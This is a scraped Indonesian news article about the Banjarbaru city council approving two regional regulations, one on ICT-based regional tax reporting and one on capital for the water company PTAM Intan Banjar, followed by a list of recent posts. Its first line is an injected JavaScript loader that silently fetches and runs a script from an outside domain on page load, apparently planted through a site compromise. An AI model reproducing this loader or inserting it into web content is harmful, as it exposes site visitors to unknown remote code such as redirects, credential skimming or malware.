(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

DPRD Banjarbaru Setujui Dua Raperda


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru mengambil keputusan menyetujui dua Rancangan Peraturan Daerah (Raperda) disahkan sebagai Perda.

Persetujuan didapat melalui rapat paripurna di gedung Graha Paripurna DPRD Banjarbaru, Selasa (23/7/2024) siang. Anggota dewan yang hadir menyetujui Raperda untuk disahkan menjadi Perda tentang pemanfaatan teknologi informasi dan komunikasi dalam pelaporan dan penyetoran pajak daerah.

Ketua DPRD Kota Banjarbaru, Fadliansyah mengatakan, Raperda tersebut dibuat untuk memberikan kekuatan berupa payung hukum bagi SKPD di lingkup Pemerintah Kota Banjarbaru.

Baca juga: Banjarbaru Memulai PIN Polio, Target 38.991 Anak Tervaksin

Ketua DPRD Kota Banjarbaru, Fadliansyah. Foto wanda

“Karena ada legal formilnya, sehingga DPRD bersama BPPRD dapat meminimalisir kebocoran pajak daerah ini. Berbasis online data jadi semua rekaman data sudah terdaftar di BPPRD,” ujar Ketua DPRD Kota Banjarbaru, Fadliansyah.

Ketua DPRD Fadliansyah mengharapkan seluruh aktivitas pada sistem pelaporan retribusi daerah di Kota Banjarbaru dapat ditarik menggunakan teknologi atau sistem online.

“Terutama dari taping box yang diperkuat, supaya tidak ada lagi kebocoran pada Pendapatan Asli Daerah (PAD) terkait pajak restoran, rumah makan, hiburan, dan PBB,” jelas dia.

Baca juga: Fraksi-Fraksi di DPRD Kapuas Sampaikan Pandangan Umum Raperda RPJPD 2025-2045

Lebih lanjut di tahun 2024 ini, kata dia, implementasi peraturan daerah akan dimaksimalkan dari segi pendapatan pajak yang tergolong sebagai pendapatan daerah yang cukup besar.

Sementara itu dalam rapat paripurna ini juga disampaikan Reperda tentang penambahan penyertaan modal, dari Pemerintah Kota Banjarbaru untuk Perusahaan Terbatas Air Minum (PTAM) Intan Banjar.

Baca juga: Keceriaan Palnam Berdongeng di Hari Anak Nasional 2024

“Penyertaan modal PTAM Intan Banjar ini merupakan komitmen dari Komisi II DPRD Banjarbaru, dimana aset-aset yang memang belum tercatat dan belum menjadi Perda, maka kita mendukung untuk menjadi Perda,” ucapnya.

“Saya harapkan pembahasan selanjutnya dapat cepat selesai, meski tidak bisa menargetkan ini bisa cepat atau tidak karena tergantung pada Komisi II,” tuntas Fadliansyah. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Kritik Standar Etika Pejabat: Jalur Pintas hingga DPR Jadi ‘Dewan Perwakilan Partai’

KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More

2 jam ago

98 Usulan Infrastruktur dari Musrenbang Halong

KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More

2 jam ago

Digitalisasi Pajak Lewat Bimtek Aplikasi SAPAT Kolaborasi BPPRD Banjarbaru – Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More

15 jam ago

Apresiasi Pemko Banjarmasin untuk Pembagian 2.500 Sepatu

KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More

19 jam ago

Unjuk Rasa Menuntut Solusi Banjir Kalsel di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More

19 jam ago

PUPR Kalsel Beberkan Rencana Pembangunan Jembatan Barito Dua

KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More

20 jam ago

This website uses cookies.